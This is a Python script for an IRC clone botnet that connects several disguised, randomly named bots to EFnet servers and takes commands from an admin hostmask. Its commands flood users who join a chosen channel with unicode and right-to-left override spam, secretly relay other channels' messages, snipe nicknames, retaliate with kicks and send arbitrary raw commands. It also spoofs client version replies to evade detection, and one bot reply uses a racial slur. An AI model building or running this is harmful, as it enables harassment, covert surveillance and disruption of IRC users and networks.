#!/usr/bin/env python3 # Initially 'jupiter' by acidvegas # Furthered by delorean # # irc.supernets.org #superbowl import random import re import socket import ssl import time import threading # Servers servers = ( {'server':'efnet.deic.eu', 'ssl':6697, 'ipv6': True}, {'server':'efnet.port80.se', 'ssl':6697, 'ipv6': True}, #{'server':'efnet.portlane.se', 'ssl':6697, 'ipv6': True}, # Removed (efnet.portlane.se is an alias for irc.efnet.org) {'server':'irc.choopa.net', 'ssl':9000, 'ipv6': True}, {'server':'irc.colosolutions.net', 'ssl':None, 'ipv6':False}, # error: SSL handshake failed: unsafe legacy renegotiation disabled {'server':'irc.du.se', 'ssl':None, 'ipv6':False}, # error: handshake failed: dh key too small #{'server':'irc.efnet.fr', 'ssl':6697, 'ipv6': True}, # Removed (irc.efnet.fr is an alias for irc.efnet.nl) {'server':'irc.efnet.nl', 'ssl':6697, 'ipv6': True}, {'server':'irc.homelien.no', 'ssl':6697, 'ipv6': True}, {'server':'irc.mzima.net', 'ssl':6697, 'ipv6': True}, #{'server':'irc.nordunet.se', 'ssl':6697, 'ipv6': True}, # Removed (irc.nordunet.se is an alias for irc.swepipe.se) {'server':'irc.prison.net', 'ssl':None, 'ipv6':False}, {'server':'irc.swepipe.se', 'ssl':6697, 'ipv6': True}, {'server':'irc.underworld.no', 'ssl':6697, 'ipv6': True}, {'server':'irc.servercentral.net', 'ssl':9999, 'ipv6':False} ) ipv6 = True # Set to False if your system does not have an IPv6 address channel = "#superbowl" key = "" # Settings admin = ["*!*@*drugcar.tel"] # Can use wildcards (Must be in nick!user@host format) concurrency = 3 # Number of clones to load per server id = "dev" # Unique ID so you can tell which bots belong what server # Formatting Control Characters / Color Codes bold = "\x02" reset = "\x0f" green = "03" red = "04" purple = "06" orange = "07" yellow = "08" light_green = "09" cyan = "10" light_cyan = "11" light_blue = "12" pink = "13" grey = "14" # Globals bots = list() def botlist(nick): global bots if nick[:1] == "+": bots.append(nick[1:]) elif nick[:1] == "-": bots.remove(nick[1:]) def color(msg, foreground, background=None): return (f"\x03{foreground},{background}{msg}{reset}" if background else f"\x03{foreground}{msg}{reset}" ) def debug(msg): print(f"{get_time()} | [~] - {msg}") def error(msg, reason=None): print(f"{get_time()} | [!] - {msg} ({reason})") if reason else print(f"{get_time()} | [!] - {msg}") def get_time(): return time.strftime("%I:%M:%S") def is_admin(ident): for i in admin: if re.compile(i.replace('*','.*')).search(ident): return True return False def random_nick(): prefix = random.choice(['st','sn','cr','pl','pr','fr','fl','qu','br','gr','sh','sk','tr','kl','wr','bl']+list('bcdfgklmnprstvwz')) midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz')) suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led','inger']+list('abcdfgklmnprstvwz')) return prefix+midfix+suffix def unicode(): msg='\u202e\u0007\x03' + str(random.randint(2,14)) for i in range(random.randint(150, 200)): msg += chr(random.randint(0x1000,0x3000)) return msg class clone(threading.Thread): def __init__(self, server, addr_type): self.addr_type = addr_type self.landmine = None self.nickname = random_nick() self.monlist = list() self.relaylist = list() self.coverlist = list() self.autoop = False self.server = server self.port = 6667 self.sock = None self.ssl_status = None threading.Thread.__init__(self) def run(self): time.sleep(random.randint(300, 900)) self.connect() def connect(self): try: self.create_socket() self.sock.connect((self.server["server"], self.port)) self.raw(f"USER {random_nick()} 0 * :{random_nick()}") self.nick(self.nickname) except socket.error as ex: error("Failed to connect to '{0}' IRC server.".format(self.server["server"]), ex) self.event_disconnect() except ssl.SSLError as ex: error("Failed to connect to '{0}' IRC server using SSL/TLS.".format(self.server["server"]), ex) self.ssl_status = False self.event_disconnect() else: self.listen() def create_socket(self): self.sock = socket.socket(self.addr_type) if self.server["ssl"]: if self.ssl_status: self.port = self.server["ssl"] self.sock = ssl.wrap_socket(self.sock) else: self.port = 6667 self.ssl_status = True def event_connect(self): if self.nickname not in bots: botlist("+" + self.nickname) if self.monlist: self.monitor("+", self.monlist) self.join_channel(channel, key) def event_ctcp(self, nick, target, msg): if target == self.nickname: if 'VERSION' in msg: version = random.choice('Wal-Mart IRC Client','mIRC v6.35 Khaled Mardam-Bey','xchat 0.24.1 Linux 2.6.27-8-eeepc i686','rZNC Version 1.0 [02/01/11] - Built from ZNC','thelounge v3.0.0 -- https://thelounge.chat/') self.raw(f'NOTICE {nick} \001VERSION {version}\001') else: self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('CTCP', green), color('<', grey), color(nick, yellow), color('>', grey), msg)) def event_disconnect(self): if self.nickname in bots: botlist("-" + self.nickname) self.sock.close() time.sleep(86400 + random.randint(1800, 3600)) self.connect() def event_join(self, ident, nick, chan): if is_admin(ident) and self.autoop: self.raw("MODE {0} +o {1}".format(chan, nick)) if chan == self.landmine: for x in range(0, 6): self.sendmsg(chan, f"{unicode()} oh god {nick} what is happening {unicode()}") self.sendmsg(nick, f"{unicode()} oh god {nick} what is happening {unicode()}") def event_nick(self, nick, new_nick): if nick == self.nickname: self.nickname = new_nick if new_nick in self.monlist: self.monitor("C") self.monlist = list() elif nick in self.monlist: self.nick(nick) def event_nick_in_use(self, nick, target_nick): if nick == "*": self.nickname = random_nick() self.nick(self.nickname) def event_notice(self, nick, target, msg): # if target == self.nickname: # self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('NOTICE', purple), color('<', grey), color(nick, yellow), color('>', grey), msg)) pass def event_message(self, ident, nick, target, msg): if target.lower() in self.relaylist: self.sendmsg(channel, "[{0}] <{1}> {2}".format(color(target, light_cyan), color(nick, purple), msg)) if is_admin(ident): args = msg.split() if args[0] in ("@all", self.nickname) and len(args) >= 2: if len(args) == 2: if args[1] == "id": self.sendmsg(target, id) elif len(args) == 3: if args[1] == "5000": chan = args[2] if chan == "stop": self.landmine = None self.sendmsg(target, "5000 mode turned off") elif chan[:1] == "#": self.landmine = chan self.sendmsg(target, "5000 mode actived on " + color(chan, cyan)) elif args[1] == 'migrate': if args[2][:1] == '#': channel = args[2] self.sendmsg(target, 'hub migrated to {0}'.format(color(args[2], light_green))) elif args[1] == 'auto-op': if args[2][:2].lower() == 'on': self.autoop = True self.sendmsg(channel, 'auto opping {0}'.format(color("enabled", light_green))) elif args[2][:3].lower() == 'off': self.autoop = False self.sendmsg(channel, 'auto opping {0}'.format(color(args[2][1:], red))) elif args[1] == 'admin': adstr = args[2][1:] + "!*@*" if args[2][:1] == '+': if adstr in admin: self.sendmsg(target, '{0}'.format(color('user is already an admin', red))) else: admin.append(adstr) self.sendmsg(target, '{0} promoted to {1}'.format(color(args[2][1:], light_green), color("admin", light_green))) elif args[2][:1] == '-': if adstr not in admin: self.sendmsg(target, '{0}'.format(color('user was not an admin', red))) else: admin.remove(adstr) self.sendmsg(target, '{0} admin {1}'.format(color('removed', red), color(args[2][1:], red))) elif args[1] == 'monitor': if args[2] == 'list' and self.monlist: self.sendmsg(target, '[{0}] {1}'.format(color('Monitor', light_blue), ', '.join(self.monlist))) elif args[2] == 'reset' and self.monlist: self.monitor('C') self.monlist = list() self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(self.monlist)), cyan), color('removed', red))) elif args[2][:1] == '+': nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick not in self.monlist] if nicks: self.monitor('+', nicks) self.monlist += nicks self.sendmsg(target, '{0} nick(s) have been {1} to the monitor list.'.format(color(str(len(nicks)), cyan), color('added', green))) elif args[2][:1] == '-': nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick in self.monlist] if nicks: self.monitor('-', nicks) for mon_nick in nicks: self.monlist.remove(mon_nick) self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(nicks)), cyan), color('removed', red))) elif args[1] == 'relay': if args[2][:1] == '+': if args[2][1:].lower() in self.relaylist: self.sendmsg(channel, '{0}'.format(color('already snitching on that channel', red))) else: self.relaylist.append(args[2][1:].lower()) self.sendmsg(channel, '{0} on {1}'.format(color('snitching', red), color(args[2][1:], red))) elif args[2][:1] == '-': if args[2][1:].lower() == 'all': self.sendmsg(channel, '{0} on {1} {2}'.format(color('ceased snitching', red), color('all', yellow), color('channels', red))) self.relaylist.clear() elif args[2][1:].lower() not in self.relaylist: self.sendmsg(channel, '{0}'.format(color('channel was not being snitched on', red))) else: self.relaylist.remove(args[2][1:].lower()) self.sendmsg(channel, '{0} on {1}'.format(color('ceased all snitching', red), color(args[2][1:], red))) elif args[1] == 'cover': if args[2][:1] == '+': if args[2][1:].lower() in self.coverlist: self.sendmsg(channel, '{0}'.format(color('already watching that nigga\'s back', red))) else: self.coverlist.append(args[2][1:].lower()) self.sendmsg(channel, 'got your back, {0}'.format(color(args[2][1:], light_green))) elif args[2][:1] == '-': if args[2][1:].lower() == 'all': self.sendmsg(channel, '{0} {1} {2}'.format(color('ceased covering', red), color('all', grey), color('muhfuckas', red))) self.coverlist.clear() elif args[2][1:].lower() not in self.coverlist: self.sendmsg(channel, '{0}'.format(color('didnt have their back in the first place', red))) else: self.coverlist.remove(args[2][1:].lower()) self.sendmsg(channel, 'no longer watching {0}\'s back'.format(color(args[2][1:], light_green))) elif len(args) >= 4 and args[1] == "raw": if args[2] == "-d": data = " ".join(args[3:]) threading.Thread(target=self.raw, args=(data, True)).start() else: data = " ".join(args[2:]) self.raw(data) elif target == self.nickname: if msg.startswith('\x01ACTION'): self.sendmsg(channel, '[{0}] {1}{2}{3} * {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg[8:][:-1])) else: self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg)) def event_kick(self, ident, nick, chan, target): if target == self.nickname: self.sendmsg(channel, "{0} from {1} by {2} {3}".format(color("kicked", yellow), color(chan, red), color(nick, yellow), color(";(", white))) elif target.lower() in self.coverlist and not is_admin(ident): self.raw("KICK {0} {1} :that shit outta here".format(chan, nick)) def event_mode(self, nick, chan, modes): # Todo: takeover mode to automatically jupe a channel upon +o pass def event_quit(self, nick): if nick in self.monlist: self.nick(nick) def handle_events(self, data): args = data.split() if data.startswith("ERROR :Closing Link:"): raise Exception("Connection has closed.") elif data.startswith("ERROR :Reconnecting too fast"): raise Exception("Connection has closed. (throttled)") elif args[0] == "PING": self.raw("PONG " + args[1][1:]) elif args[1] == "001": # RPL_WELCOME self.event_connect() elif args[1] == "433" and len(args) >= 4: # ERR_NICKNAMEINUSE nick = args[2] target_nick = args[3] self.event_nick_in_use(nick, target_nick) elif args[1] == "731" and len(args) >= 4: # RPL_MONOFFLINE nick = args[3][1:] self.nick(nick) elif args[1] == "JOIN" and len(args) == 3: ident = args[0][1:] nick = args[0].split("!")[0][1:] chan = args[2][1:] self.event_join(ident, nick, chan) elif args[1] == "MODE" and len(args) >= 4: nick = args[0].split("!")[0][1:] chan = args[2] modes = " ".join(args[:3]) self.event_mode(nick, chan, modes) elif args[1] == "NICK" and len(args) == 3: nick = args[0].split("!")[0][1:] new_nick = args[2][1:] self.event_nick(nick, new_nick) elif args[1] == "NOTICE": nick = args[0].split("!")[0][1:] target = args[2] msg = " ".join(args[3:])[1:] self.event_notice(nick, target, msg) elif args[1] == "PRIVMSG" and len(args) >= 4: ident = args[0][1:] nick = args[0].split("!")[0][1:] target = args[2] msg = " ".join(args[3:])[1:] if msg[:1] == "\001": msg = msg[1:] self.event_ctcp(nick, target, msg) else: self.event_message(ident, nick, target, msg) elif args[1] == "QUIT": nick = args[0].split("!")[0][1:] self.event_quit(nick) elif args[1] == "KICK": ident = args[0][1:] nick = args[0].split("!")[0][1:] chan = args[2] target = args[3] self.event_kick(ident, nick, chan, target) def join_channel(self, chan, key=None): self.raw(f"JOIN {chan} {key}") if key else self.raw("JOIN " + chan) def listen(self): while True: try: data = self.sock.recv(1024).decode("utf-8") for line in (line for line in data.split("\r\n") if len(line.split()) >= 2): # debug(line) self.handle_events(line) except (UnicodeDecodeError, UnicodeEncodeError): pass except Exception as ex: error("Unexpected error occured on '{0}' server.".format(self.server["server"]),ex) break self.event_disconnect() def mode(self, target, mode): self.raw(f"MODE {target} {mode}") def monitor(self, action, nicks=list()): self.raw(f"MONITOR {action} " + ",".join(nicks)) def nick(self, nick): self.raw("NICK " + nick) def raw(self, data, delay=False): if delay: time.sleep(random.randint(300, 900)) self.sock.send(bytes(data + "\r\n", "utf-8")) def sendmsg(self, target, msg): self.raw(f"PRIVMSG {target} :{msg}") # Main for i in range(concurrency): for server in servers: clone(server, socket.AF_INET).start() if ipv6: if set( [ ip[4][0] for ip in socket.getaddrinfo(server["server"], 6667) if ":" in ip[4][0] ] ): clone(server, socket.AF_INET6).start() while True: input("")